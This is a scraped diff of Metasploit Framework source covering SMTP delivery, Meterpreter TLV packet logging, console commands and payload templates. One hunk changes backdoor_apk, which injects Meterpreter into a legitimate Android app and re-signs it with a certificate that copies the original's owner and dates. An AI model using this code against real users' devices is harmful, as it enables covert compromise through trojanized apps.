res = raw_send_recv("#{auth}\r\n",nsock)
smtp_send_recv("AUTH LOGIN\r\n", nsock)
smtp_send_recv("#{user}\r\n", nsock)
res = smtp_send_recv("#{auth}\r\n", nsock)
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
@@ -147,7 +147,7 @@ module Exploit::Remote::SMTPDeliver
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
nsock = connect(global)
[nsock, raw_send_recv("EHLO #{domain}\r\n", nsock)]
[nsock, smtp_send_recv("EHLO #{domain}\r\n", nsock)]
end
def bad_address(address)
@@ -181,10 +181,10 @@ module Exploit::Remote::SMTPDeliver
nsock = connect_login(false)
end
raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
smtp_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
res = smtp_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
if res && res[0..2] == '250'
resp = raw_send_recv("DATA\r\n", nsock)
resp = smtp_send_recv("DATA\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
@@ -211,7 +211,7 @@ module Exploit::Remote::SMTPDeliver
full_msg << data
# Escape leading dots in the mail messages so there are no false EOF
full_msg.gsub!(/(?m)^\./, '..')
send_status = raw_send_recv("#{full_msg}\r\n.\r\n", nsock)
send_status = smtp_send_recv("#{full_msg}\r\n.\r\n", nsock)
end
else
print_error "Server refused to send to <#{mailto}>"
@@ -226,12 +226,14 @@ module Exploit::Remote::SMTPDeliver
end
def disconnect(nsock=self.sock)
raw_send_recv("QUIT\r\n", nsock)
smtp_send_recv("QUIT\r\n", nsock)
super
@connected = false
end
def raw_send_recv(cmd, nsock=self.sock)
# Send and receive a single command using SMTP protocol
# allowing for response continuation
def smtp_send_recv(cmd, nsock=self.sock)
return false if not nsock
if cmd =~ /AUTH PLAIN/
# Don't print the user's plaintext password
@@ -244,7 +246,11 @@ module Exploit::Remote::SMTPDeliver
begin
nsock.put(cmd)
res = nsock.get_once
rescue
while !(res =~ /(^|\r\n)\d{3}( .*|)\r\n$/) && chunk = nsock.get_once
res += chunk
end
raise RuntimeError.new("SMTP response is incomplete or contains extra data") unless res =~ /(^|\r\n)\d{3}( .*|)\r\n$/
rescue EOFError
return nil
end
# Don't truncate the server output because it might be helpful for
+6
View File
@@ -15,6 +15,7 @@ module Msf
CONFIG_KEY = 'framework/features'
WRAPPED_TABLES = 'wrapped_tables'
FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells'
SERVICEMANAGER_COMMAND = 'servicemanager_command'
DEFAULTS = [
{
name: WRAPPED_TABLES,
@@ -25,6 +26,11 @@ module Msf
name: FULLY_INTERACTIVE_SHELLS,
description: 'When enabled you will have the option to drop into a fully interactive shell from within meterpreter',
default_value: false
}.freeze,
{
name: SERVICEMANAGER_COMMAND,
description: 'When enabled you will have access to the _servicemanager command',
default_value: false
}.freeze
].freeze
+81 -17
View File
@@ -125,10 +125,28 @@ class Msf::Payload::Apk
def parse_orig_cert_data(orig_apkfile)
orig_cert_data = Array[]
keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', orig_apkfile])
owner_line = keytool_output.match(/^Owner:.+/)[0]
if keytool_output.include?('keytool error: ')
raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
end
if keytool_output.start_with?('Not a signed jar file')
raise RuntimeError, 'APK file is unsigned'
end
owner_line = keytool_output.scan(/^Owner:.+/).flatten.first
if owner_line.blank?
raise RuntimeError, "Could not extract certificate owner: #{keytool_output}"
end
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
orig_cert_data.push("#{orig_cert_dname}")
valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first
if valid_from_line.empty?
raise RuntimeError, "Could not extract certificate date: #{keytool_output}"
end
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
from_date = DateTime.parse("#{from_date_str}")
@@ -139,21 +157,42 @@ class Msf::Payload::Apk
return orig_cert_data
end
def check_apktool_output_for_exceptions(apktool_output)
if apktool_output.to_s.include?('Exception in thread')
print_error(apktool_output)
raise RuntimeError, "apktool execution failed"
end
end
def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true)
unless apk_data || apkfile && File.readable?(apkfile)
usage
raise RuntimeError, "Invalid template: #{apkfile}"
end
apktool = run_cmd(%w[apktool -version])
if apktool.nil?
check_apktool = run_cmd(%w[apktool -version])
if check_apktool.nil?
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
end
apk_v = Rex::Version.new(apktool.split("\n").first.strip)
if check_apktool.to_s.include?('java: not found')
raise RuntimeError, "java not found. If it's not in your PATH, please add it."
end
jar_name = 'apktool.jar'
if check_apktool.to_s.include?("can't find #{jar_name}")
raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool."
end
check_apktool_output_for_exceptions(check_apktool)
apk_v = Rex::Version.new(check_apktool.split("\n").first.strip)
unless apk_v >= Rex::Version.new('2.0.1')
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
end
unless apk_v >= Rex::Version.new('2.5.1')
print_warning("apktool version #{apk_v} is outdated and may fail to decompile some apk files. Update apktool to the latest version.")
end
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir
@@ -170,9 +209,9 @@ class Msf::Payload::Apk
raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
end
jarsigner = run_cmd(['jarsigner'])
unless jarsigner != nil
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
apksigner = run_cmd(['apksigner'])
if apksigner.nil?
raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it."
end
zipalign = run_cmd(['zipalign'])
@@ -184,23 +223,31 @@ class Msf::Payload::Apk
storepass = "android"
keypass = "android"
keyalias = "signing.key"
orig_cert_data = parse_orig_cert_data(apkfile)
orig_cert_dname = orig_cert_data[0]
orig_cert_startdate = orig_cert_data[1]
orig_cert_validity = orig_cert_data[2]
print_status "Creating signing key and keystore..\n"
run_cmd([
keytool_output = run_cmd([
'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass,
'-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate,
'-validity', orig_cert_validity, '-dname', orig_cert_dname
])
if keytool_output.include?('keytool error: ')
raise RuntimeError, "keytool could not generate key: #{keytool_output}"
end
end
print_status "Decompiling original APK..\n"
run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])
check_apktool_output_for_exceptions(apktool_output)
print_status "Decompiling payload APK..\n"
run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
check_apktool_output_for_exceptions(apktool_output)
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
@@ -277,19 +324,36 @@ class Msf::Payload::Apk
print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n"
apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"])
check_apktool_output_for_exceptions(apktool_output)
unless File.readable?(injected_apk)
print_error apktool_output
raise RuntimeError, "Unable to rebuild apk with apktool"
end
if signature
print_status "Signing #{injected_apk}\n"
run_cmd([
'jarsigner', '-sigalg', 'SHA1withRSA', '-digestalg', 'SHA1', '-keystore', keystore,
'-storepass', storepass, '-keypass', keypass, injected_apk, keyalias
])
print_status "Aligning #{injected_apk}\n"
run_cmd(['zipalign', '4', injected_apk, aligned_apk])
zipalign_output = run_cmd(['zipalign', '4', injected_apk, aligned_apk])
unless File.readable?(aligned_apk)
print_error(zipalign_output)
raise RuntimeError, 'Unable to align apk with zipalign.'
end
print_status "Signing #{aligned_apk} with apksigner\n"
apksigner_output = run_cmd([
'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk
])
if apksigner_output.to_s.include?('Failed')
print_error(apksigner_output)
raise RuntimeError, 'Signing with apksigner failed.'
end
apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk])
if apksigner_verify.to_s.include?('DOES NOT VERIFY')
print_error(apksigner_verify)
raise RuntimeError, 'Signature verification failed.'
end
else
aligned_apk = injected_apk
end
@@ -1914,6 +1914,18 @@ class Core
print_warning("Changing the SSL option's value may require changing RPORT!")
end
if name.casecmp?('SessionTlvLogging')
# Check if we need to append the default filename if user provided an output directory
if datastore[name].start_with?('file:')
pathname = ::Pathname.new(datastore[name].split('file:').last)
if ::File.directory?(pathname)
datastore[name] = ::File.join(datastore[name], 'sessiontlvlogging.txt')
end
end
framework.sessions.each { |_index, session| session.initialize_tlv_logging(datastore[name]) }
end
print_line("#{name} => #{datastore[name]}")
end
@@ -9,6 +9,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer
'-e' => [true, 'Expression to evaluate.']
)
@@_servicemanager_opts = Rex::Parser::Arguments.new(
['-l', '--list'] => [false, 'View the currently running services' ]
)
def initialize(driver)
super
end
@@ -18,7 +22,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
end
def commands
{
commands = {
'irb' => 'Open an interactive Ruby shell in the current context',
'pry' => 'Open the Pry debugger on the current module or Framework',
'edit' => 'Edit the current module or a file with the preferred editor',
@@ -26,6 +30,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer
'log' => 'Display framework.log paged to the end if possible',
'time' => 'Time how long it takes to run a particular command'
}
if framework.features.enabled?(Msf::FeatureManager::SERVICEMANAGER_COMMAND)
commands['_servicemanager'] = 'Interact with the Rex::ServiceManager'
end
commands
end
def local_editor
@@ -77,7 +85,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
files = output.split("\n")
files.each do |file|
next if file.end_with?('_spec.rb')
next if file.end_with?('_spec.rb') || file.end_with?("spec_helper.rb")
f = File.join(Msf::Config.install_root, file)
reload_file(f, print_errors: false)
end
@@ -312,6 +320,63 @@ class Msf::Ui::Console::CommandDispatcher::Developer
end
end
#
# Interact with framework's service manager
#
def cmd__servicemanager(*args)
if args.include?('-h') || args.include?('--help')
cmd__servicemanager_help
return false
end
opts = {}
@@_servicemanager_opts.parse(args) do |opt, idx, val|
case opt
when '-l', '--list'
opts[:list] = true
end
end
if opts.empty?
opts[:list] = true
end
if opts[:list]
table = Rex::Text::Table.new(
'Header' => 'Services',
'Indent' => 1,
'Columns' => ['Id', 'Name', 'References']
)
Rex::ServiceManager.instance.each.with_index do |(name, instance), id|
# TODO: Update rex-core to support querying the reference count
table << [id, name, instance.instance_variable_get(:@_references)]
end
if table.rows.empty?
print_status("No framework services are currently running.")
else
print_line(table.to_s)
end
end
end
#
# Tab completion for the _servicemanager command
#
def cmd__servicemanager_tabs(_str, words)
return [] if words.length > 1
@@_servicemanager_opts.option_keys
end
def cmd__servicemanager_help
print_line 'Usage: servicemanager'
print_line
print_line 'Manage running framework services'
print @@_servicemanager_opts.usage
print_line
end
#
# Time how long in seconds a command takes to execute
#
@@ -1439,6 +1439,7 @@ module Msf
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'SessionTlvLogging', framework.datastore['SessionTlvLogging'] || "false", 'Log all incoming and outgoing TLV packets' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
@@ -58,7 +58,7 @@ module Msf
}
}
handler.datastore.merge!(mod.datastore)
handler.share_datastore(mod.datastore)
handler.exploit_simple(handler_opts)
job_id = handler.job_id
+51
View File
@@ -393,6 +393,8 @@ class Driver < Msf::Ui::Driver
case var.downcase
when 'sessionlogging'
handle_session_logging(val) if glob
when 'sessiontlvlogging'
handle_session_tlv_logging(val) if glob
when 'consolelogging'
handle_console_logging(val) if glob
when 'loglevel'
@@ -412,6 +414,8 @@ class Driver < Msf::Ui::Driver
case var.downcase
when 'sessionlogging'
handle_session_logging('0') if glob
when 'sessiontlvlogging'
handle_session_tlv_logging('false') if glob
when 'consolelogging'
handle_console_logging('0') if glob
when 'loglevel'
@@ -601,6 +605,53 @@ protected
$VERBOSE = verbose
end
def handle_session_tlv_logging(val)
if val
if val.casecmp?('console') || val.casecmp?('true') || val.casecmp?('false')
return true
elsif val.start_with?('file:') && !val.split('file:').empty?
pathname = ::Pathname.new(val.split('file:').last)
# Check if we want to write the log to file
if ::File.file?(pathname)
if ::File.writable?(pathname)
return true
else
print_status "No write permissions for log output file: #{pathname}"
return false
end
# Check if we want to write the log file to a directory
elsif ::File.directory?(pathname)
if ::File.writable?(pathname)
return true
else
print_status "No write permissions for log output directory: #{pathname}"
return false
end
# Check if the subdirectory exists
elsif ::File.directory?(pathname.dirname)
if ::File.writable?(pathname.dirname)
return true
else
print_status "No write permissions for log output directory: #{pathname.dirname}"
return false
end
else
# Else the directory doesn't exist. Check if we can create it.
begin
::FileUtils.mkdir_p(pathname.dirname)
return true
rescue ::StandardError => e
print_status "Error when trying to create directory #{pathname.dirname}: #{e.message}"
return false
end
end
end
end
false
end
# Require the appropriate readline library based on the user's preference.
#
# @return [void]
@@ -67,6 +67,7 @@ module Msf
PromptChar
PromptTimeFormat
MeterpreterPrompt
SessionTlvLogging
]
if !mod
return res
@@ -122,6 +123,10 @@ module Msf
# Provide tab completion for option values
#
def tab_complete_option_values(mod, str, words, opt:)
if words.last.casecmp?('SessionTlvLogging')
return %w[console true false file:<file>]
end
res = []
# With no module, we have nothing to complete
if !mod
@@ -81,6 +81,8 @@ module Msf
commits = git_client.commits(repository, branch, path: path)
rescue Faraday::ConnectionFailed
raise PullRequestFinder::Exception, 'No network connection to Github.'
rescue Octokit::Unauthorized
raise PullRequestFinder::Exception, 'Github Authentication Failed.'
end
if commits.empty?
+13
View File
@@ -1128,6 +1128,17 @@ require 'digest/sha1'
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end
# Create a AARCH64 Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
end
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
@@ -2087,6 +2098,8 @@ require 'digest/sha1'
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf_dll(framework, code, exeopts)
when ARCH_AARCH64
to_linux_aarch64_elf_dll(framework, code, exeopts)
end
end
when 'macho', 'osx-app'
+16 -2
View File
@@ -20,6 +20,18 @@ class Job
self.clean_proc = clean_proc
self.ctx = ctx
self.start_time = nil
self.cleanup_mutex = Mutex.new
self.cleaned_up = false
end
def synchronized_cleanup
# Avoid start and stop both calling cleanup
self.cleanup_mutex.synchronize do
unless cleaned_up
self.cleaned_up = true
self.clean_proc.call(ctx) if self.clean_proc
end
end
end
#
@@ -36,7 +48,7 @@ class Job
begin
run_proc.call(ctx)
ensure
clean_proc.call(ctx)
synchronized_cleanup
container.remove_job(self)
end
}
@@ -59,7 +71,7 @@ class Job
self.job_thread = nil
end
clean_proc.call(ctx) if (clean_proc)
synchronized_cleanup
end
#
@@ -92,6 +104,8 @@ protected
attr_accessor :clean_proc #:nodoc:
attr_writer :ctx #:nodoc:
attr_writer :start_time #:nodoc:
attr_accessor :cleanup_mutex #:nodoc:
attr_accessor :cleaned_up #:nodoc:
end
+4 -1
View File
@@ -111,6 +111,8 @@ class Client
end
shutdown_passive_dispatcher
shutdown_tlv_logging
end
#
@@ -165,6 +167,8 @@ class Client
end
end
initialize_tlv_logging(opts[:tlv_log]) unless opts[:tlv_log].nil?
# Protocol specific dispatch mixins go here, this may be neader with explicit Client classes
opts[:dispatch_ext].each {|dx| self.extend(dx)} if opts[:dispatch_ext]
initialize_passive_dispatcher if opts[:passive_dispatcher]
@@ -502,4 +506,3 @@ protected
end
end; end; end
@@ -9,6 +9,7 @@ module Post
module Meterpreter
class CommandMapper
@@cached_tlv_types = {}
# Get the numeric command ID for the specified command name.
#
@@ -97,6 +98,36 @@ class CommandMapper
commands
end
# Get the TLV Type symbols that are defined with the value
# Potential return values are [], [:TLV_TYPE_A], and [:TLV_TYPE_A, :PACKET_TYPE_B]
#
# Returning an array is a solution to having multiple TLV types having the same value, as documented here:
# https://github.com/rapid7/metasploit-framework/issues/16267
#
# @param Integer value The value of the TLV type to retrieve the TLV type names for.
# @return [Array<Symbol>] An array of symbols of all TLV types that are defined with the value. Can be empty.
def self.get_tlv_names(value)
return @@cached_tlv_types[value] unless @@cached_tlv_types[value].nil? || @@cached_tlv_types[value].empty?
# Default to arrays that contain TLV Types, so that we only deal with one data type
@@cached_tlv_types = Hash.new { |h, k| h[k] = [] }
available_modules = [
::Rex::Post::Meterpreter,
*::Rex::Post::Meterpreter::ExtensionMapper.get_extension_klasses
].uniq
available_modules.each do |mod|
mod.constants.each do |const|
next unless const.to_s.start_with?('TLV_TYPE_') || const.to_s.start_with?('PACKET_')
@@cached_tlv_types[mod.const_get(const)] << const
end
end
@@cached_tlv_types[value]
end
end
end
@@ -89,6 +89,10 @@ class ExtensionMapper
@@klasses[name]
end
def self.get_extension_klasses
self.get_extension_names.map { |name| self.get_extension_module(name) }
end
def self.dump_extensions
self.get_extension_names.each { |n|
STDERR.puts("EXTENSION_ID_#{n.upcase} = #{self.get_extension_id(n)}\n")
+36 -63
View File
@@ -314,6 +314,22 @@ class Tlv
end
end
def _tlv_type_string(value)
tlv_names = ::Rex::Post::Meterpreter::CommandMapper.get_tlv_names(value).map { |name| name.to_s.gsub('TLV_TYPE_', '').gsub('PACKET_TYPE_', '') }
case tlv_names.length
when 0
"unknown-#{value}"
when 1
tlv_names.first
else
# In the off-chance we have multiple TLV types which have the same value
# https://github.com/rapid7/metasploit-framework/issues/16267
# Sort it to ensure consistency across tests
"oneOf(#{tlv_names.sort_by(&:to_s).join(',')})"
end
end
def inspect
utype = type ^ TLV_META_TYPE_COMPRESSED
group = false
@@ -327,79 +343,36 @@ class Tlv
when TLV_META_TYPE_COMPLEX; "COMPLEX"
else; 'unknown-meta-type'
end
stype = case type
when PACKET_TYPE_REQUEST; "Request"
when PACKET_TYPE_RESPONSE; "Response"
when TLV_TYPE_REQUEST_ID; "REQUEST-ID"
when TLV_TYPE_COMMAND_ID; "COMMAND-ID"
when TLV_TYPE_RESULT; "RESULT"
when TLV_TYPE_EXCEPTION; "EXCEPTION"
when TLV_TYPE_STRING; "STRING"
when TLV_TYPE_UINT; "UINT"
when TLV_TYPE_BOOL; "BOOL"
when TLV_TYPE_LENGTH; "LENGTH"
when TLV_TYPE_DATA; "DATA"
when TLV_TYPE_FLAGS; "FLAGS"
when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID"
when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE"
when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA"
when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP"
when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS"
when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID"
when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE"
when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET"
when TLV_TYPE_SEEK_POS; "SEEK-POS"
when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE"
when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING"
when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH"
when TLV_TYPE_TARGET_PATH; "TARGET-PATH"
when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID"
when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
when TLV_TYPE_MIGRATE_BASE_ADDR; "MIGRATE-BASE-ADDR"
when TLV_TYPE_MIGRATE_ENTRY_POINT; "MIGRATE-ENTRY-POINT"
when TLV_TYPE_MIGRATE_STUB; "MIGRATE-STUB"
when TLV_TYPE_MIGRATE_SOCKET_PATH; "MIGRATE-SOCKET-PATH"
when TLV_TYPE_LIB_LOADER_NAME; "LIB-LOADER-NAME"
when TLV_TYPE_LIB_LOADER_ORDINAL; "LIB-LOADER-ORDINAL"
when TLV_TYPE_TRANS_TYPE; "TRANS-TYPE"
when TLV_TYPE_TRANS_URL; "TRANS-URL"
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST"
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
when TLV_TYPE_UUID; "UUID"
when TLV_TYPE_SESSION_GUID; "SESSION-GUID"
when TLV_TYPE_RSA_PUB_KEY; "RSA-PUB-KEY"
when TLV_TYPE_SYM_KEY_TYPE; "SYM-KEY-TYPE"
when TLV_TYPE_SYM_KEY; "SYM-KEY"
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
else; "unknown-#{type}"
when PACKET_TYPE_REQUEST; 'Request'
when PACKET_TYPE_RESPONSE; 'Response'
else; _tlv_type_string(type)
end
val = value.inspect
if val.length > 50
val = val[0,50] + ' ..."'
end
group ||= (self.class.to_s =~ /Packet/)
if group
has_command_ids = type == PACKET_TYPE_RESPONSE && (self.method == COMMAND_ID_CORE_ENUMEXTCMD || self.method == COMMAND_ID_CORE_LOADLIB)
if has_command_ids
longest_command_id = self.get_tlvs(TLV_TYPE_UINT).map(&:value).max
longest_command_id_length = longest_command_id.to_s.length
end
tlvs_inspect = "tlvs=[\n"
@tlvs.each { |t|
tlvs_inspect << " #{t.inspect}\n"
if t.type == TLV_TYPE_UINT && has_command_ids && longest_command_id_length
command_name = ::Rex::Post::Meterpreter::CommandMapper.get_command_name(t.value)
command_output = "command=#{command_name}>\n"
this_value_length = t.value.to_s.length
adjusted_command_name = command_output.rjust(command_output.length + longest_command_id_length - this_value_length)
tlvs_inspect << " #{t.inspect.gsub(/>$/, '')} " << adjusted_command_name
else
tlvs_inspect << " #{t.inspect}\n"
end
}
tlvs_inspect << "]"
else
+72 -4
View File
@@ -3,6 +3,7 @@
require 'rex/post/meterpreter/command_mapper'
require 'rex/post/meterpreter/packet_response_waiter'
require 'rex/exceptions'
require 'pathname'
module Rex
module Post
@@ -130,8 +131,7 @@ module PacketDispatcher
tlv_enc_key = opts[:tlv_enc_key]
end
# Uncomment this line if you want to see outbound packets in the console.
# STDERR.puts("\n\e[1;31mSEND\e[0m: #{packet.inspect}\n")
log_packet(packet, :send)
bytes = 0
raw = packet.to_r(session_guid, tlv_enc_key)
@@ -579,8 +579,7 @@ module PacketDispatcher
def dispatch_inbound_packet(packet)
handled = false
# Uncomment this line if you want to see inbound packets in the console
# STDERR.puts("\n\e[1;32mRECV\e[0m: #{packet.inspect}\n")
log_packet(packet, :recv)
# Update our last reply time
self.last_checkin = ::Time.now
@@ -634,11 +633,80 @@ module PacketDispatcher
@inbound_handlers.delete(handler)
end
def initialize_tlv_logging(opt)
self.tlv_logging_error_occured = false
self.tlv_log_file = nil
self.tlv_log_file_path = nil
self.tlv_log_output = :none
if opt.casecmp?('console') || opt.casecmp?('true')
self.tlv_log_output = :console
elsif opt.start_with?('file:')
self.tlv_log_output = :file
self.tlv_log_file_path = opt.split('file:').last
end
end
protected
attr_accessor :receiver_thread # :nodoc:
attr_accessor :dispatcher_thread # :nodoc:
attr_accessor :waiters # :nodoc:
attr_accessor :tlv_log_output # :nodoc:
attr_accessor :tlv_log_file # :nodoc:
attr_accessor :tlv_log_file_path # :nodoc:
attr_accessor :tlv_logging_error_occured # :nodoc:
def shutdown_tlv_logging
self.tlv_log_output = :none
self.tlv_log_file.close unless self.tlv_log_file.nil?
self.tlv_log_file = nil
self.tlv_log_file_path = nil
end
def log_packet(packet, packet_type)
# if we previously failed to log, return
return if self.tlv_logging_error_occured || self.tlv_log_output == :none
if self.tlv_log_output == :console
log_packet_to_console(packet, packet_type)
elsif self.tlv_log_output == :file
log_packet_to_file(packet, packet_type)
end
end
def log_packet_to_console(packet, packet_type)
if packet_type == :send
print "\n%redSEND%clr: #{packet.inspect}\n"
elsif packet_type == :recv
print "\n%bluRECV%clr: #{packet.inspect}\n"
end
end
def log_packet_to_file(packet, packet_type)
pathname = ::Pathname.new(self.tlv_log_file_path.split('file:').last)
begin
if self.tlv_log_file.nil? || self.tlv_log_file.path != pathname.to_s
self.tlv_log_file.close unless self.tlv_log_file.nil?
self.tlv_log_file = ::File.open(pathname, 'a+')
end
if packet_type == :recv
self.tlv_log_file.puts("\nRECV: #{packet.inspect}\n")
elsif packet_type == :send
self.tlv_log_file.puts("\nSEND: #{packet.inspect}\n")
end
rescue ::StandardError => e
self.tlv_logging_error_occured = true
print_error "Failed writing to TLV Log File: #{pathname} with error: #{e.message}. Turning off logging for this session: #{self.inspect}..."
elog(e)
shutdown_tlv_logging
return
end
end
end
module HttpPacketDispatcher
@@ -88,6 +88,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'edit' => 'Edit a file',
'getlwd' => 'Print local working directory',
'getwd' => 'Print working directory',
'lcat' => 'Read the contents of a local file to the screen',
'lcd' => 'Change local working directory',
'lpwd' => 'Print local working directory',
'ls' => 'List files',
@@ -114,6 +115,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'edit' => [],
'getlwd' => [],
'getwd' => [COMMAND_ID_STDAPI_FS_GETWD],
'lcat' => [],
'lcd' => [],
'lpwd' => [],
'ls' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS],
@@ -306,6 +308,43 @@ class Console::CommandDispatcher::Stdapi::Fs
tab_complete_cfilenames(str, words)
end
#
# Reads the contents of a local file and prints them to the screen.
#
def cmd_lcat(*args)
if (args.length == 0 || args.include?('-h') || args.include?('--help'))
print_line("Usage: lcat file")
return true
end
path = args[0]
path = ::File.expand_path(path) if path =~ path_expand_regex
if (::File.stat(path).directory?)
print_error("#{path} is a directory")
else
fd = ::File.new(path, "rb")
begin
until fd.eof?
print(fd.read)
end
# EOFError is raised if file is empty, do nothing, just catch
rescue EOFError
end
fd.close
end
true
end
#
# Tab completion for the lcat command
#
def cmd_lcat_tabs(str, words)
tab_complete_filenames(str, words)
end
#
# Change the working directory.
#
+20 -2
View File
@@ -297,8 +297,26 @@ module DispatcherShell
# Return a list of possible directory for tab completion.
#
def tab_complete_directory(str, words)
str = '.' + ::File::SEPARATOR if str.empty?
dirs = Dir.glob(str.concat('*'), File::FNM_CASEFOLD).select { |x| File.directory?(x) }
directory = str[-1] == File::SEPARATOR ? str : File.dirname(str)
filename = str[-1] == File::SEPARATOR ? '' : File.basename(str)
entries = Dir.entries(directory).select { |fp| fp.start_with?(filename) }
dirs = entries - ['.', '..']
dirs = dirs.map { |fp| File.join(directory, fp).gsub(/\A\.\//, '') }
dirs = dirs.select { |x| File.directory?(x) }
dirs = dirs.map { |x| x + File::SEPARATOR }
if dirs.length == 1 && dirs[0] != str && dirs[0].end_with?(File::SEPARATOR)
# If Readline receives a single value from this function, it will assume we're done with the tab
# completing, and add an extra space at the end.
# This is annoying if we're recursively tab-traversing our way through subdirectories -
# we may want to continue traversing, but MSF will add a space, requiring us to back up to continue
# tab-completing our way through successive subdirectories.
::Readline.completion_append_character = nil
end
if dirs.length == 0 && File.directory?(str)
# we've hit the end of the road
dirs = [str]
end
dirs
end
+1 -1
View File
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.75'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.77'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18'
# Needed by msfgui and other rpc components
@@ -0,0 +1,136 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
